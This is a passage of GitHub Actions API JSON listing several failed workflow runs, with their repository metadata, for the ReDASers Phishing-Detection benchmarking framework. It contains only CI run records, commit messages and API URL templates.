ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277965026,"node_id":"MDExOldvcmtmbG93UnVuMjc3OTY1MDI2","head_branch":"test_fixes","head_sha":"dae9b0a8877c8aa3b7b315519655232b63a950ea","run_number":1021,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259392190,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5MzkyMTkw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277965026","pull_requests":[],"created_at":"2020-09-29T05:55:48Z","updated_at":"2020-09-29T06:11:11Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259392190","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"dae9b0a8877c8aa3b7b315519655232b63a950ea","tree_id":"d8585375b2c687955d4f47c2338d425ab8faaa39","message":"Fixed `KeyError: 'feature extraction'`","timestamp":"2020-09-29T05:55:39Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277963475,"node_id":"MDExOldvcmtmbG93UnVuMjc3OTYzNDc1","head_branch":"master","head_sha":"cd5b7baeec5fc2e1ff6178703fa1f441371c3b1b","run_number":1020,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259387018,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5Mzg3MDE4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277963475","pull_requests":[],"created_at":"2020-09-29T05:53:51Z","updated_at":"2020-09-29T06:02:21Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259387018","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"cd5b7baeec5fc2e1ff6178703fa1f441371c3b1b","tree_id":"621fc57425593172e0036dddf0c303bcb95c426d","message":"Integration test improvements (#240)\n\n* Upload Generated config\r\n\r\n* Fixed Cleanup\r\n\r\n* Upload generate config v2\r\n\r\n* working-directory option\r\n\r\n* Split url_extraction folder","timestamp":"2020-09-29T05:53:49Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277951588,"node_id":"MDExOldvcmtmbG93UnVuMjc3OTUxNTg4","head_branch":"integration_test","head_sha":"4998428bc2ce29c9adb47fb8d67924a915a10b80","run_number":1019,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259354521,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5MzU0NTIx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277951588","pull_requests":[],"created_at":"2020-09-29T05:42:35Z","updated_at":"2020-09-29T05:51:34Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259354521","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"4998428bc2ce29c9adb47fb8d67924a915a10b80","tree_id":"621fc57425593172e0036dddf0c303bcb95c426d","message":"Split url_extraction folder","timestamp":"2020-09-29T05:42:30Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 